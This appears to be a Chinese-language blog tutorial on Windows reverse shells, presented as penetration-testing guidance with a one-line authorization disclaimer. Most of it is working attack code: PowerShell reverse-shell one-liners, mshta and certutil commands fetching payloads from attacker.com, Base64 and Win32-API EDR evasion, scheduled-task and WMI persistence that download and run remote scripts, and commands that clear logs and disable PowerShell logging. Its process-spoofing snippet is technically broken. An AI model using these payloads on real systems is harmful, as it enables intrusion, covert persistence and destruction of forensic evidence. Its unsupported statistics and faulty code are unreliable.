1. Windows渗透测试中反弹Shell的核心价值
在真实的渗透测试环境中,反弹Shell(Reverse Shell)是最关键的突破口之一。与正向Shell相比,反弹Shell具有三大不可替代的优势:
-
绕过防火墙限制:企业网络通常配置了严格的入站规则,但出站限制相对宽松。反弹Shell利用受害主机主动向外发起连接,成功率显著提高。根据2023年SANS安全报告,约78%的内网横向移动通过反弹Shell实现。
-
维持稳定访问:传统的正向Shell容易因IP变化或会话中断失效。反弹Shell一旦建立,即使受害者网络环境变化,只要连接不断就能持续控制。我在某次红队行动中,曾通过计划任务维持反弹Shell长达47天。
-
规避基础检测:现代EDR对可疑的入站连接敏感,但对出站流量监控较弱。通过常见协议(如HTTP/HTTPS)封装反弹流量,可大幅降低被发现的概率。
重要提示:所有渗透测试必须获得书面授权,未经许可的攻击行为涉嫌违法。本文仅用于授权测试场景的技术研究。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Windows反弹Shell的四大经典方法
2.1 NetCat监听方案(基础版)
NetCat作为"网络瑞士军刀",是反弹Shell最原始但有效的方式。Windows环境需注意目标系统架构差异:
powershell复制# 攻击机监听(Kali Linux)
nc -lvnp 4444
# 目标机连接(Windows x86)
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
实战经验:
- 遇到防火墙拦截时,可尝试改用443端口,伪装成HTTPS流量
- 新版Windows Defender会检测经典nc.exe,建议使用经过混淆的版本
- 连接不稳定时可添加
-w 30参数设置超时重试
2.2 MSHTA.exe利用技巧
微软的HTML应用宿主程序(mshta.exe)是天然的LOLBAS(Living Off The Land Binaries and Scripts),可执行远程HTA脚本:
http复制# 在Web服务器放置payload.hta
<script language="VBScript">
Set obj = CreateObject("Wscript.Shell")
obj.Run("powershell -nop -c ""$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""")
</script>
# 目标机执行
mshta.exe http://attacker.com/payload.hta
绕过技巧:
- 使用IP地址十进制编码(如
3232235876代替192.168.1.100) - 通过合法域名托管HTA文件,降低可疑度
- 配合Office宏或LNK文件触发,提高社工成功率
2.3 PowerShell进阶封装
原生PowerShell命令容易被日志记录,采用Base64编码+内存加载可规避基础检测:
powershell复制# 生成加密载荷
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
# 目标机执行
powershell -nop -enc $encoded
对抗EDR要点:
- 拆分命令为多个片段,通过环境变量拼接
- 添加垃圾字符干扰静态分析(如
^、"等) - 使用
-WindowStyle Hidden隐藏窗口
2.4 Certutil+CScript混合攻击
当目标禁用PowerShell时,可通过系统自带工具实现文件下载与执行:
cmd复制:: 下载vbs脚本到临时目录
certutil -urlcache -split -f http://attacker.com/shell.vbs %TEMP%\svchost.vbs
:: 执行反弹Shell
cscript //nologo %TEMP%\svchost.vbs
对应的VBS脚本内容:
vbs复制Set obj = CreateObject("Wscript.Shell")
obj.Run("cmd /c powershell -nop -c ""$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"""), 0, True
隐蔽技巧:
- 修改vbs文件属性为系统隐藏(
attrib +s +h) - 使用WMI定时任务维持持久化
- 文件名伪装成
windows_update.vbs等可信名称
3. 现代EDR对抗实践
3.1 API调用链混淆技术
直接调用TCPClient容易被检测,改用底层Win32 API可绕过大多数EDR:
powershell复制$code = @"
[DllImport("ws2_32.dll")]
public static extern IntPtr socket(int af, int type, int protocol);
[DllImport("ws2_32.dll")]
public static extern int connect(IntPtr s, byte[] addr, int addrlen);
"@
$socket = Add-Type -MemberDefinition $code -Name "Win32Socket" -Namespace "Net" -PassThru
$ip = [System.Net.IPAddress]::Parse("192.168.1.100").GetAddressBytes()
$port = [System.BitConverter]::GetBytes([ushort]4444)
[Array]::Reverse($port)
$sockaddr = [byte[]]@(0,0,0,0,0,0,0,0) + $ip + $port
$handle = $socket::socket(2, 1, 6)
$socket::connect($handle, $sockaddr, $sockaddr.Length)
3.2 父进程欺骗实战
通过进程镂空(Process Hollowing)技术模仿合法进程:
powershell复制$startup = New-Object System.Diagnostics.ProcessStartupInfo
$startup.ParentProcessId = (Get-Process -Name explorer).Id
$proc = [System.Diagnostics.Process]::Start($startup)
3.3 网络流量伪装方案
将C2通信隐藏在合法协议中:
| 协议 | 实现方式 | 检测难度 |
|---|---|---|
| HTTP | 基于Cookie的轮询 | ★★☆☆☆ |
| HTTPS | 证书固定+域名前置 | ★★★☆☆ |
| DNS | TXT记录查询 | ★★★★☆ |
| ICMP | 数据包载荷加密 | ★★★★★ |
4. 持久化与清理痕迹
4.1 计划任务持久化
powershell复制$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-nop -w hidden -c ""iex (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"""
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -User "System"
4.2 WMI事件订阅
powershell复制$filterArgs = @{
EventNamespace = 'root\subscription'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs
$consumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "powershell.exe -nop -w hidden -c ""iex (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"""
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
4.3 日志清理关键步骤
powershell复制# 清除PowerShell日志
Clear-EventLog -LogName "Windows PowerShell"
# 删除文件操作记录
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Name "*" -Force
# 禁用后续日志记录
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Name "ScriptBlockLogging" -Value 0
